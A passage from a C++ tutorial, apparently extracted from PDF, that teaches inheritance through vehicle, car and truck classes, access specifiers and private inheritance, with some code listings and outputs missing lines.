cout<<"Area of the small wall is "<<small.get_area()<<"\n\n";
cout<<"Sending message-->medium.get_area()\n";
cout<<"Area of the medium wall is "<<medium.get_area()<<"\n\n";
cout<<"Sending message-->large.get_area()\n";
cout<<"Area of the large wall is "<<large.get_area()<<"\n\n";
cout<<"extra_data = 1, extra_data++\n";
cout<<"Sending message using-->small.get_extra() or \n";
cout<<"array, group[0].get_extra()\n";
cout<<"Extra data value is "<<small.get_extra()<<"\n";
cout<<"New Extra data value is "<<medium.get_extra()<<"\n";
cout<<"New Extra data value is "<<large.get_extra()<<"\n";
cout<<"New Extra data value is "<<group[0].get_extra()<<"\n";
cout<<"New Extra data value is "<<group[3].get_extra()<<"\n";
return 0;
}
Sending message-->small.get_area()
Area of the small wall is 35
Sending message-->medium.get_area()
Area of the medium wall is 64
Sending message-->large.get_area()
Area of the large wall is 300
extra_data = 1, extra_data++
Sending message using-->small.get_extra() or
array, group[0].get_extra()
Extra data value is 1
New Extra data value is 2
New Extra data value is 3
New Extra data value is 4
New Extra data value is 5
---------------------------------------------o0o------------------------------------------------
1. Check the best selling C/C++ and object oriented books at Amazon.com.
2. Any reference to Data Structures Using C.
3. Any reference to Data Structures Using C++. But may be it is better to use the container, iterator and
algorithm of Standard Template Library (STL) :o).
MODULE 14
INHERITANCE I
Abilities
10.1 Introduction
- Inheritance permits to reuse code from the already available classes, also gives you the flexibility to do
modification if the old code doesn’t exactly fit the task of the new project.
- It doesn’t make sense to start every new project with new classes, from scratch since most of the code
will certainly be repeated in several programs such as common tasks or routines.
- You are less likely to make an error if you leave the original alone and only add new features to it.
Another reason for using inheritance is if the project requires the use of several classes which are very
similar but slightly different.
- In this Module, we will concentrate on the mechanism of inheritance and how to build it into a
program.
- C++ allows you to inherit all or part of the members and methods of classes, modify some, and add new
ones that not available in the base class.
- Examine the file named vehicle.h for simple class which we will use to begin our study of
inheritance. It consists of four simple methods which can be used to manipulate data pertaining to our
vehicle.
20 Lines of codes
- We will eventually refer to this as a base class or parent class, but for the time being, we will simply
use it like any other class to show that it is indeed just a normal class.
- Note that we will explain the added keyword protected shortly. Figure 14.1 is a graphical
representation of the Cvehicle class. Ignore lines 5, 6, and 11, they will be explained in detail
later. This program cannot be compiled or executed because it is only a header file but makes sure
there are no errors such as typing errors.
www.tenouk.com
14.3 The Cvehicle Class Implementation – vehicle.cpp
- Examine the file named vehicle.cpp, and you will find that it is the implementation of the vehicle
class. The initialize() method assigns the values input as parameters to the wheels and
weight variables.
29 Lines of codes
- We have methods to return the number of wheels and the weight, and finally, we have one that
does a calculation to return the load on each wheel. At this point, we are more interested in learning
how to implement the interface to the classes.
- We will use it as a base class later. Compile this program without error, generating object file, in
preparation for the next program example, but you cannot execute it because there is no main() entry
point.
www.tenouk.com
- The file named transprt.cpp uses the Cvehicle class in similar manner as we have illustrated in
the previous Module. This should be an indication to you that the Cvehicle class is just a normal
class as defined in C++.
28 Lines: Output:
- Inheritance uses an existing class and adds new functionalities to the new class, to accomplish another,
possibly more complex task.
- This program declares four objects of the Cvehicle class as shown in the code segment below:
//data initialization
car.initialize(4, 3000.0);
truck.initialize(20, 30000.0);
motorcycle.initialize(2,900.0);
sedan_car.initialize(4, 3000.0);
- And prints out a few of the data values. Compile and run this program.
- Examine the file named car.h, for our first example of using a derived class. The Cvehicle class is
inherited due to the ":public Cvehicle" code added to line 12 as shown below:
www.tenouk.com
3. //do not compile or run.
4.
5. #ifndef CAR_H
6. #define CAR_H
7.
8. #include "vehicle.h"
9.
10. //-----------derived class declaration part------------------
11. //Ccar class derived from Cvehicle class
12. class Ccar : public Cvehicle
13. {
14. int passenger_load;
15. public:
16. //This method will be used instead of the same
17. //method in Cvehicle class - overriding
18. void initialize(int input_wheels, float input_weight, int people = 4);
19. int passengers(void);
20. };
21.
22. #endif
22 Lines of codes
- This derived class named Ccar is composed of all the information included in the base class
Cvehicle, and all of its own additional information. Even though we did nothing to the class named
Cvehicle, we made it available in this car.h program.
- In fact, it can be used as a normal class and a base class in the same program.
- A class that inherits another class is called a derived class or a child class.
- Likewise the terminology for the inherited class is called a base class, but parent class and super class
are sometimes used.
- A base class is rather general class which can cover a wide range of objects attributes or behavior or
properties, whereas a derived class is somewhat more specific but at the same time more useful.
- For simple example consider your family. You and your siblings inherited many characteristics of your
mother and/or father such as eye and hair color. Your father and/or mother are base classes, whereas
you and your siblings are derived classes.
- In this case, the Cvehicle base class can be used to declare objects that represent plane, trucks, cars,
bicycles, or any other vehicles you can think up.
- The class named Ccar however can only be used to declare an object that is of type Ccar because we
have limited kinds of data that can be intelligently used with it. The car class is therefore more
restrictive and specific than the Cvehicle class.
- If we wish to get even more specific, we could define a derived class using Ccar as the base class,
name it Csports_car, and include information such as red_line_limit for the tachometer or
turbo_type_engine as new member variables.
- Then, the Ccar class would therefore be used as a derived class and a base class at the same time, so it
should be clear that these names refer to how the class is used.
- A derived class is defined by including the header file of the base class as is done in line 8 as shown
below:
#include "vehicle.h"
- And then the name of the base class is given following the name of the derived class separated by a
colon ( : ) as is illustrated in line 12 as shown below:
- Ignore the keyword public immediately following the colon in this line. This defines public
inheritance and we will discuss it later.
- All objects declared as being of class Ccar therefore are composed of the two variables from the
Cvehicle class because they inherit those variables, and the single member variable declared in the
Ccar class named passenger_load, and the total member variable is listed below:
▪ int wheels;
www.tenouk.com
▪ int weight;
▪ int passenger_load;
- An object of this class also will have three of the four methods of Cvehicle as listed below:
▪ get_wheels( ) { }
▪ get_weight( ) { }
▪ wheel_load( ) { }
▪ initialize( ) { }
▪ passengers( ) { }
- The method named initialize() which is part of the Cvehicle class will not be available here
because it is hidden by the local version of initialize() which is a part of the Ccar class. The
local method will be used if the name is repeated, allowing you to customize your new class.
Figure 14.2 is a graphical representation of an object of this class.
- Note once again that the implementation for the base class only needs to be supplied in its compiled
form of the vehicle.cpp file. The source code for implementation can be hidden.
- The header file for the base class, vehicle.h, must be available as a text file since the class
definitions are required in order to use the class.
- The following figure is an illustration of our simple class hierarchy. Here, car inherits some of the
common vehicle’s properties.
- Examine the program named car.cpp which is the implementation file for the Ccar class.
- The first thing you should notice, this file has no indication of the fact that it is a derived class of any
other class, and can only be determined by inspecting the preprocessor directive of the header file
#include "car.h".
www.tenouk.com
5. #include "car.h"
6.
7. //-------implementation part of the derived class car.h----------
8. void Ccar::initialize(int input_wheels, float input_weight, int people)
9. {
10. passenger_load = people;
11. wheels = input_wheels;
12. weight = input_weight;
13. }
14.
15. int Ccar::passengers(void)
16. {
17. return passenger_load;
18. }
18 Lines of codes
- The implementations for the two new methods are similar as in other class, nothing new. Compile this
program without error, this will generate object file for later use.
- Examine the program named truck.h, an example of another derived class that uses the Cvehicle
class as its based class. This class will specialize in those things that pertain to trucks.
20 Lines of codes
- This derived class adds two more variables and three more methods compared to the base class,
Cvehicle, is specific information for truck vehicle. Figure 14.3 is the graphical representation of
the Ctruck class.
www.tenouk.com
- Ccar and Ctruck classes have absolutely nothing to do with each other, they only happen to be
derived classes from the same base class.
- Note that both the Ccar and Ctruck classes have methods named passengers() but this causes
no problems and is perfectly valid. This issue will be discussed later.
- If classes are related in some way, and they certainly are if they are both derived classes of a common
base class, you would expect them to be doing somewhat similar things. In this situation there is a
good possibility that a method name would be repeated in both child classes.
- No need to compile and run this program just makes sure there are no other errors such as typing error.
- Examine the program named truck.cpp for the implementation of the Ctruck class.
- Compile this program without error, generating object file, in preparation for our program example that
uses all the three classes Cvehicle, Ccar, Ctruck, defined in this Module.
22 Lines of codes
- Now, our simple class hierarchy is illustrated below. Both car and truck inherit some of the
common vehicle’s properties.
www.tenouk.com
14.10 Using All The Classes
- Examine the program named allvehicle.cpp carefully. This main program uses all three of the
classes we have been discussing in this Module.
- Before compiling and running this program, make sure these files: vehicle.h, vehicle.cpp,
car.h, car.cpp, truck.h, truck.cpp and allvehicle.cpp are in one project. Also, you
have to compile without error the vehicle.cpp, car.cpp and truck.cpp files, generating object
files. Compile and execute the allvehicle.cpp main program.
- Also make sure the first main() program transprt.cpp not in this project. We only need one
main() program.
47 Lines:Output:
www.tenouk.com
Program 14.8: allvehicle.cpp, the main program
- It uses the base class Cvehicle and also two derived classes to declare objects. This was done to
illustrate that all three classes can be used in a single program.
- All three of the header files for the classes are included in lines 6 through 8, so the program can use the
components of the classes as shown below:
- Notice the implementations of the three classes (vehicle.cpp, car.cpp and truck.cpp) are not
in view here and do not need to be in view. We only need these files in compiled form.
- This allows the code to be used without access to the source code for the actual implementation of the
class. However, it should be clear that the header file definition must be available to act as an interface.
- In this program example, only one object of each class is declared and used as an example, but as many
as desired could be declared and used in order to accomplish your programming task.
- You will notice how clean and uncluttered the source code is for this program. The classes were
developed, debugged, and stored away and the interfaces were kept very simple.
- Look at the directive in lines 5, 6 and 20 in the vehicle.h file as shown below. These directives
have been discussed in Module related to preprocessor directive.
- When we define the derived class Ccar, we are required to supply it with the full definition of the
interface to the Cvehicle class since Ccar is derived class of Cvehicle and must know all about
its base class.
- We do that by including the vehicle class (vehicle.h) into the Ccar class, and the Ccar class can
be compiled. The Cvehicle class must also be included in the header file of the Ctruck class for
the same reason.
- When we get to the allvehicle.cpp program, we must inform it the details of all three classes, so
all three header files must be included as is done in lines 6 through 8 of allvehicle.cpp, but this
leads to a problem.
- When the preprocessor gets to the Ccar class, it includes the Cvehicle class because it is listed in
the Ccar class header file, but since the Cvehicle class already included in line 6 of
allvehicle.cpp, it is included twice and we attempt to re-declare the class Cvehicle.
www.tenouk.com
- Of course it is the same declaration, but the compiler simply doesn’t allow re-declaration of a class.
We allow the double inclusion of the file (vehicle.h and car.h) and at the same time prevent the
double inclusion of the class (Cvehicle) by building a bridge around it using the word VEHICLE_H.
- If the word is already defined, the declaration is skipped, but if the word is not defined, the declaration
is included and vehicle.h is defined at that time. The end result is the actual inclusion of the class
only once, even though the file is included more than once.
- Even though ANSI-C allows multiple definitions of entities, provided the definitions are identical, C++
does not permit this. The primary reason is because the compiler would have great difficulty in
knowing if it has already made a constructor call for the redefined entity, if any and this also create un
optimize codes.
- A multiple constructor call for a single object could cause great havoc, so C++ was defined to prevent
any multiple constructor calls by making it illegal to redefine any entity.
- The name VEHICLE_H was chosen as the word because it is the name of the file, with the period
replaced by the underline. If the name of the file is used systematically in all of your class definitions,
you cannot have a name clash because the filename of every class must be unique.
- Figure 14.4 and 14.5 has shown that the inheritance concepts will create class hierarchy. From the
top, a base class with general description of the object, traversing down of the derived class levels with
more details description of the objects.
- This class hierarchy provides very powerful ‘tool’ for programming. We can reuse readily available
classes which has been developed and tested. At the same time we can combine with our own new
defined classes.
- This will shorten the program development process and cycle, enhances the software quality and
increase the productivity of the programmers.
- For example, Microsoft Foundation Classes (MFC) have hundreds readily available classes which
arranged in hierarchical manner and you can imagine that there should be thousands of member
variables and methods defined, readily available for us to use.
www.tenouk.com
Program Examples and Experiments
//inheritance
#include <iostream.h>
#include <stdlib.h>
//base class
class Base
{
//member variables and member
//functions...
public:
Base(){}
~Base(){}
protected:
private:
};
//derived class...
class Derived:public Base
{
//same as normal class actually...
//member variables and member function...
public:
Derived(){}
www.tenouk.com
~Derived(){}
private:
protected:
};
void main()
{
cout<<"Testing the program skeleton..."<<endl;
system("pause");
}
Output:
//inheritance
#include <iostream.h>
#include <stdlib.h>
protected:
public:
MyFather(){}
~MyFather(){}
char* GetEye()
{ return EyeColor = "Brown";}
char* GetHair()
{ return HairType = "Straight";}
double GetSaving()
{return FamSaving = 30000;}
};
//derived class...
class MySelf:public MyFather
{
//same as normal class actually...
private:
char* MyEye;
char* MyHair;
public:
MySelf(){}
~MySelf(){}
char* GetMyEye()
{ return MyEye = "Blue";}
char* GetMyHair()
{return MyHair = "Curly";}
protected:
};
public:
MySister(){}
~MySister(){}
www.tenouk.com
char* GetSisEye()
{return SisEye = "Black";}
char* GetSisHair()
{ return SisHair = "Blonde";}
};
//-----------main program---------------
int main()
{
//base class object...
MyFather Test1;
Output:
- If you have noticed, the program examples in this Module become smaller, simpler and manageable
compared to what is in the previous Modules.
- Let try compiling in VC++/VC++ .Net.
//inheritance
#include <iostream>
using namespace std;
www.tenouk.com
char* HairType;
double FamSaving;
protected:
//protected members here…
public:
MyFather(){}
~MyFather(){}
char* GetEye()
{ return EyeColor = "Brown";}
char* GetHair()
{ return HairType = "Straight";}
double GetSaving()
{return FamSaving = 30000;}
};
//derived class...
class MySelf:public MyFather
{
//same as normal class actually...
private:
char* MyEye;
char* MyHair;
public:
MySelf(){}
~MySelf(){}
char* GetMyEye()
{ return MyEye = "Blue";}
char* GetMyHair()
{return MyHair = "Curly";}
protected:
};
public:
MySister(){}
~MySister(){}
char* GetSisEye()
{return SisEye = "Black";}
char* GetSisHair()
{ return SisHair = "Blonde";}
};
//-----------main program---------------
int main()
{
//base class object...
MyFather Test1;
www.tenouk.com
Output:
- The following is a previous example compiled using g++. To link more than one object files, it is
better to create makefile.
//**************herit2.cpp**************
//**************FEDORA 3, g++ x.x.x****
//inheritance
#include <iostream>
using namespace std;
protected:
public:
MyFather(){}
~MyFather(){}
char* GetEye()
{return EyeColor = "Brown";}
char* GetHair()
{return HairType = "Straight";}
double GetSaving()
{return FamSaving = 30000;}
};
//derived class...
class MySelf:public MyFather
{
//same as normal class actually...
private:
char* MyEye;
char* MyHair;
public:
MySelf(){}
~MySelf(){}
char* GetMyEye()
{return MyEye = "Blue";}
char* GetMyHair()
{return MyHair = "Curly";}
protected:
//...
};
www.tenouk.com
//another derived class...
class MySister:public MyFather
{
private:
char* SisEye;
char* SisHair;
public:
MySister(){}
~MySister(){}
char* GetSisEye()
{return SisEye = "Black";}
char* GetSisHair()
{return SisHair = "Blonde";}
};
//-----------main program---------------
int main()
{
//base classes object...
MyFather Test1;
My eye is = Blue
My hair is = Curly
Our family saving is = $30000
My father's eye is = Brown
My father's hair is = Straight
-----------------------------------------------------o0o-------------------------------------------------
1. Check the best selling C/C++ and object oriented books at Amazon.com.
www.tenouk.com
MODULE 15
INHERITANCE II
Abilities
▪ Inheritance.
▪ Scope operator (::).
▪ protected, private and public keywords.
▪ Method vs function.
▪ Constructor Execution Order.
▪ Destructor Execution Order.
▪ Pointer, Array and Objects.
▪ Friend functions and classes, keyword friend.
15.1 Introduction
- This Module will illustrate some of the finer points of inheritance and what it can be used for.
- Examine inherit1.cpp program. It is identical to the program developed in Module 14 named
allvehicle.cpp except the program code is rearranged.
1. //Program inherit1.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //-------class declaration part---------------------
6. class vehicle
7. {
8. //This variable will be automatically
9. //inherited by all the derived class but not outside the
10. //base and derived class of vehicle
11. protected:
12. int wheels;
13. double weight;
14. public:
15. void initialize(int input_wheels, double input_weight);
16. int get_wheels(void) {return wheels;}
17. double get_weight(void) {return weight;}
18. double wheel_load(void) {return (weight/wheels);}
19. };
20.
21. //--------------derived class declaration part-------------------
22. class car : public vehicle
23. {
24. int passenger_load;
25. public:
26. void initialize(int input_wheels, double input_weight, int people = 4);
27. int passengers(void)
28. {
29. return passenger_load;
30. }
31. };
32.
33. class truck : public vehicle
34. {
35. int passenger_load;
36. double payload;
37. public:
38. void init_truck(int how_many = 4, double max_load = 24000.0);
39. double efficiency(void);
40. int passengers(void) {return passenger_load;}
41. };
42.
43. //------------------------The main program-------------------------
44. int main()
45. {
46. vehicle unicycle;
47. unicycle.initialize(1, 12.5);
48.
49. cout<<"Using base class, vehicle\n";
www.tenouk.com
50. cout<<"-------------------------\n";
51. cout<<"The unicycle has " <<unicycle.get_wheels()<<" wheel.\n";
52. cout<<"The unicycle's wheel loading is "<<unicycle.wheel_load()<<" kg on the
53. single tire.\n";
54. cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
55.
56. car sedan_car;
57. sedan_car.initialize(4, 3500.0, 5);
58.
59. cout<<"Using derived class, car\n";
60. cout<<"------------------------\n";
61. cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
62. cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
63. cout<<"The sedan's car wheel loading is "<<sedan_car.wheel_load()<<" kg per
64. tire.\n\n";
65. truck trailer;
66. trailer.initialize(18, 12500.0);
67. trailer.init_truck(1, 33675.0);
68.
69. cout<<"Using derived class, truck\n";
70. cout<<"--------------------------\n";
71. cout<<"The trailer weighs "<< trailer.get_weight()<< " kg.\n";
72. cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
73.
74. system("pause");
75. return 0;
76. }
77.
78. //------------base and derived class implementation part--------------
79. //initialize to any data desired, own by base class
80. void vehicle::initialize(int input_wheels, double input_weight)
81. {
82. wheels = input_wheels;
83. weight = input_weight;
84. }
85.
86. //initialize() method own by derived car class
87. void car::initialize(int input_wheels, double input_weight, int people)
88. {
89. //class base variables used by derived car class,
90. //because of the protected keyword
91. passenger_load = people;
92. wheels = input_wheels;
93. weight = input_weight;
94. }
95.
96. void truck::init_truck(int how_many, double max_load)
97. {
98. passenger_load = how_many;
99. payload = max_load;
100. }
102.
103. double truck::efficiency(void)
104. {
105. return payload / (payload + weight);
106. }
www.tenouk.com
- The difference is that some of the simpler methods in the classes have been changed to inline code.
- In a practical programming situation, shorter and simple methods should be programmed inline since
the actual code just to return a simple value is shorter than the code required to send a message to a
non-inline method.
- Other change is the reordering of the classes and related methods with the classes all defined first,
followed by the main program.
- The implementations for the methods are deferred until the end of the file where they are available for
quick reference but are not cluttering up the class definitions.
- This arrangement violates the C++ rules and the use of the separate compilation, but is only done here
for convenience.
- The best way to package all of the program examples in this Module are like the class packaging
explained in Module 12.
- As mentioned before, the two derived classes, car and truck, each have a variable named
passenger_load which is legal because they are defined in different classes.
- The car class has a method of the same name, initialize(), as one declared in the base class
named vehicle.
- Notice that the method initialize() is declared in the derived car class, so, it hides the method
of the same name which is part of the base class, and there may be times you wish to send a message to
the method in the base class for use in the derived class object.
- This can be done by using the scope operator (::) in the following manner in the main program:
- The number and types of parameters must agree with those of the method in the base class.
- If the data within a base class were totally available in all classes inheriting that base class, it would be
a simple matter for a programmer to inherit the base class into a derived class and have free access to
all data in the base class.
- This would completely override the protection achieved by using the information hiding. For this
reason, the data in a class should not automatically available to the methods of an inheriting class.
- There are times when you may wish to automatically inherit all variables directly into the derived
classes and have them act just as though they were declared as a part of those classes also. For this
reason, C++ has provided the keyword protected.
- In this program example, the keyword protected is given in line 11 so that all of the data of the
vehicle class can be directly imported into any derived classes but are not available outside of the
base class or derived classes.
...
protected:
int wheels;
www.tenouk.com
double weight;
...
- As mentioned before, all data are automatically defaulted to private at the beginning of a class if no
specifier is given.
- You will notice that the variables named wheels and weight are available for use in the method
named initialize() in lines 87 through 94 as shown below, just as if they were declared as a part
of the car class itself.
- They are available because they were declared protected in the base class. They would be available
here if they had been declared public in the base class, but then they would be available outside of
both classes and we would lose our protection.
- We can now conclude the rules for the three means of defining variables and methods specifiers.
Specifier Description
The variables and methods are not available to any outside calling routines,
and they also are not available to any derived classes inheriting this class.
Class members are private by default.
private You can override the default struct access with private or protected but
you cannot override the default union access.
friend declarations are not affected by this access specifier.
The variables and methods are not available to any outside calling routines,
but they are directly available to any derived class inheriting this class.
protected You can override the default struct access with private or protected but
you cannot override the default union access. friend declarations are
not affected by this access specifier.
All variables and methods are freely available to all outside calling
routines and to all derived classes. Members of a struct or union are public
by default.
public You can override the default struct access with private or protected but
you cannot override the default union access.
friend declarations are not affected by this access specifier.
- These keywords when used are effective until one of the other keyword is found in a sequence manner.
So, depend on your need, they can be reused in the same block of codes.
- These three definitions can also be used in a struct data type. The difference with a struct is that
everything defaults to public until one of the other keywords is used.
- Compile and run this program before continuing on the next program example.
- Examine the program named inherit2.cpp where the data in the base class is permitted to use the
default private because line 8 is commented out.
1. //program inherit2.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //--------------base and derived class declaration part--------------
6. class vehicle
7. {
8. //protected:
9. //Note this is removed, so it is private now
10. int wheels;
11. double weight;
12. public: //public specifier
13. void initialize(int input_wheels, double input_weight);
www.tenouk.com
14. int get_wheels(void) {return wheels;}
15. double get_weight(void) {return weight;}
16. double wheel_load(void) {return (weight/wheels);}
17. };
18.
19. class car : public vehicle
20. {
21. int passenger_load;
22. public:
23. void initialize(int input_wheels, double input_weight, int people = 4);
24. int passengers(void) {return passenger_load;}
25. };
26.
27. class truck : public vehicle
28. {
29. int passenger_load;
30. double payload;
31. public:
32. void init_truck(int how_many = 4, double max_load = 24000.0);
33. double efficiency(void);
34. int passengers(void) {return passenger_load;}
35. };
36.
37. //----------------main program------------------
38. int main()
39. {
40. vehicle unicycle;
41. unicycle.initialize(1, 12.5);
42.
43. cout<<"Using base class, vehicle\n";
44. cout<<"-------------------------\n";
45. cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
46. cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<" kg
47. on the single tire.\n";
48. cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
49.
50. car sedan_car;
51. sedan_car.initialize(4, 3500.0, 5);
52.
53. cout<<"Using derived class, car\n";
54. cout<<"------------------------\n";
55. cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
56. cout<<"The sedan car weighs "<<sedan_car.get_weight()<< " kg.\n";
57. cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load()<<
58. " kg per tire.\n\n";
59.
60. truck trailer;
61. trailer.initialize(18, 12500.0);
62. trailer.init_truck(1, 33675.0);
63.
64. cout<<"Using derived class, truck\n";
65. cout<<"--------------------------\n";
66. cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
67. cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
68.
69. system("pause");
70. return 0;
71. }
72.
73. //--------------base and derived class implementation part-------------
74. // initialize to any data desired, this method own by base class
75. void vehicle::initialize(int input_wheels, double input_weight)
76. {
77. wheels = input_wheels;
78. weight = input_weight;
79. }
80.
81. //This method own by derived class
82. void car::initialize(int input_wheels, double input_weight, int people)
83. {
84. passenger_load = people;
85.
86. //This variable are invalid anymore because both wheels
87. //and weight are private now.
88. //wheels = input_wheels;
89. //weight = input_weight;
90. vehicle::initialize(input_wheels, input_weight);
91. //Added statement, using base class method instead of derived class
92. }
93.
www.tenouk.com
94. void truck::init_truck(int how_many, double max_load)
95. {
96. passenger_load = how_many;
97. payload = max_load;
98. }
99.
100. double truck::efficiency(void)
101. {
102. //Changed from program inherit1.cpp, from weight to get_weight()
103. return payload / (payload + get_weight());
104. }
- In this program, the data is not available directly for use in the derived classes, so the only way the data
(member variables) in the base class can be used is by sending messages to methods in the base class,
within the derived class.
- You should think about how the class you define will be used. If you think somebody should wish to
inherit your class into a new class and expand it, you should make the data members protected so
they can be easily used in the new derived class.
- Lines 88 and 89 are invalid now since the members are not visible, so they are commented out as
shown below:
// wheels = input_wheels;
// weight = input_weight;
- But line 90 now does the job they did before they were hidden by calling the public method of the base
class as shown below:
vehicle::initialize(input_wheels, input_weight);
//Added statement, using base class method instead of derived class
- You will notice that the data is still available in lines 77 and 78 as shown below, just as they were
before because the member variables are protected in the vehicle class. Compile and run this
program.
wheels = input_wheels;
weight = input_weight;
- Examine the program named inherit3.cpp carefully and you will see that it is a repeat of the
inherit1.cpp with a few minor changes.
1. //Program inherit3.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //------------------base and derived class declaration part--------------
6. class vehicle
www.tenouk.com
7. {
8. protected:
9. int wheels;
10. double weight;
11. public:
12. void initialize(int input_wheels, double input_weight);
13. int get_wheels(void) {return wheels;}
14. double get_weight(void) {return weight;}
15. double wheel_load(void) {return (weight/wheels);}
16. };
17.
18. //public keyword changed to private - private inheritance
19. class car : private vehicle
20. {
21. int passenger_load;
22. public:
23. void initialize(int input_wheels, double input_weight, int people = 4);
24. int passengers(void) {return passenger_load;}
25. };
26.
27. //public keyword change to private - private inheritance
28. class truck : private vehicle
29. {
30. int passenger_load;
31. double payload;
32. public:
33. void init_truck(int how_many = 4, double max_load = 24000.0);
34. double efficiency(void);
35. int passengers(void) {return passenger_load;}
36. };
37.
38. //-----------------------main program------------------------------
39. int main()
40. {
41. vehicle unicycle;
42. unicycle.initialize(1, 12.5);
43.
44. cout<<"Using base class, vehicle with public methods\n";
45. cout<<"---------------------------------------------\n";
46. cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
47. cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<" kg
48. on the single tire.\n";
49. cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
50.
51. car sedan_car;
52. sedan_car.initialize(4, 3500.0, 5);
53.
54. cout<<"\nThese two are public-->sedan_car.initialize(4,3500.0,5)\n";
55. cout<<"and sedan_car.passengers()\n";
56. cout<<"-------------------------------------------------------\n";
57. cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
58. //methods get_weight() and wheel_load() not available
59. //because we use private inheritance
60. //cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
61. //cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load()<<" kg per
62. // tire.\n\n";
63.
64. truck trailer;
65. //trailer.initialize(18, 12500.0);
66. //this method is private now
67. trailer.init_truck(1, 33675.0);
68.
69. cout<<"\nThese are public-->trailer.init_truck(1, 33675.0),\n";
70. cout<<"trailer.efficiency() and trailer.passengers()\n";
71. cout<<"--------------------------------------------------\n";
72. cout<<"\nOthers are private...\n";
73. //methods get_weight() and efficiency() not available
74. //because we use private inheritance
75. //cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
76. //cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
77.
78. system("pause");
79. return 0;
80. }
81.
82. //------------class implementation part-------------------------------
83. // initialize to any data desired, method own by base class
84. void vehicle::initialize(int input_wheels, double input_weight)
85. {
86. wheels = input_wheels;
www.tenouk.com
87. weight = input_weight;
88. }
89.
90. //method own by derived class
91. void car::initialize(int input_wheels, double input_weight, int people)
92. { //wheels and weight still available because of the protected keyword
93. passenger_load = people;
94. wheels = input_wheels;
95. weight = input_weight;
96. }
97.
98. void truck::init_truck(int how_many, double max_load)
99. {
100. passenger_load = how_many;
101. payload = max_load;
102. }
103.
104. double truck::efficiency(void)
105. {
106. return (payload / (payload + weight));
107. }
- You will notice that the derived classes named car and truck have the keyword private instead of
the public prior to the name of the base class in the first line of each class declaration as shown
below:
- The keyword public, when included prior to the base class name, makes all of the methods defined in
the base class available for use in the derived class at the same security level as they were defined in
the base class.
- Therefore, in the previous program, we were permitted to call the methods defined as part of the base
class from the main program even though we were working with an object of the derived classes.
- In this program, all entities are inherited as private due to the use of the keyword private prior to
the name of the base class. They are therefore unavailable to any code outside of the derived class.
- The general rule is that all elements are inherited into the derived class at the most restrictive of the two
restrictions placed on them,
- This defines the way the elements are viewed outside of the derived class.
www.tenouk.com
- The elements are all inherited into the derived class such that they have the same level of protection
they had in the base class, as far as their visibility restrictions within the derived class.
- We have returned to use the protected instead of private in the base class; therefore the member
variables are available for use within the derived class only.
- In the this program, the only methods available for objects of the car class, are those that are defined
as part of the class itself, and therefore we only have the methods named initialize() and
passengers() available for use with objects of class car as shown below:
public:
void initialize(int input_wheels, double input_weight, int people = 4);
int passengers(void)
{return passenger_load;}
- When we declare an object of type car, it contains three variables. It contains the one defined as part
of its class named passenger_load and the two that are part of its base class, wheels and
weight as shown below:
...
int wheels;
double weight;
...
- All are available for direct use within its methods because of the use of the keyword protected in
the base class. The variables are part of an object of class car when it is declared and are stored as part
of the object.
- You will notice that several of the output statements have been commented out in the main program
since they are no longer legal operations.
- Lines 60 through 62 have been commented out as shown below, because the methods named
get_weight() and wheel_load() are not available as members of the car class because we are
using private inheritance.
- You will notice that initialize() is still available but this is own by the car class, not the similar
method of the same name in the vehicle class (base class).
- Moving on to the use of the truck class in the main program, we find that lines 65 and 66 are
commented out as shown below, for the same reason as given above,
...
//trailer.initialize(18, 12500.0);
//this method is private now
...
- But lines 75 and 76 as shown below are commented out for an entirely different reason.
- Even though the method named efficiency() is available and can be called as a part of the truck
class, it cannot be used because we have no way to initialize the wheels or weight of the truck
object.
- We can get the weight of the truck object, as we have done in line 87 as shown below,
weight = input_weight;
www.tenouk.com
- But since the weight has no way to be initialized, the result is meaningless and lines 75 and 76 are
commented out.
- The private inheritance is very similar to using an embedded object and, in fact, is rarely used. Until
you gain a lot of experience with C++ and the proper use of Object Oriented Programming, you should
use public inheritance exclusively.
- There are probably not so many reasons to use private or protected inheritance. They were
probably added to the language for completeness. Compile and run this program example.
- Examine the program example named inherit4.cpp, you will find that we have fixed the
initialization problem that we left dangling in the last program example.
1. //Program inherit4.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //------------base and derived class declaration part-------------
6. class vehicle
7. {
8. protected:
9. int wheels;
10. double weight;
11. public:
12. vehicle(void) {wheels = 7; weight = 11111.0;
13. cout<<"Constructor's value of the base class, vehicle"<<'\n';
14. cout<<"----------------------------------------------\n";}
15. void initialize(int input_wheels, double input_weight);
16. int get_wheels(void) {return wheels;}
17. double get_weight(void) {return weight;}
18. double wheel_load(void) {return (weight/wheels);}
19. };
20.
21. //public inheritance
22. class car : public vehicle //public inheritance
23. {
24. int passenger_load;
25. public:
26. car(void) {passenger_load = 4;
27. cout<<"Constructor's value of the derived class, car"<<'\n';
28. cout<<"---------------------------------------------\n";}
29. void initialize(int input_wheels, double input_weight, int people = 4);
30. int passengers(void) {return passenger_load;}
31. };
32.
33. class truck : public vehicle //public inheritance
34. {
35. int passenger_load;
36. double payload;
37. public:
38. truck(void) {passenger_load = 3;payload = 22222.0;
39. cout<<"Constructor's value of the derived class, truck"<<'\n';
40. cout<<"-----------------------------------------------\n";}
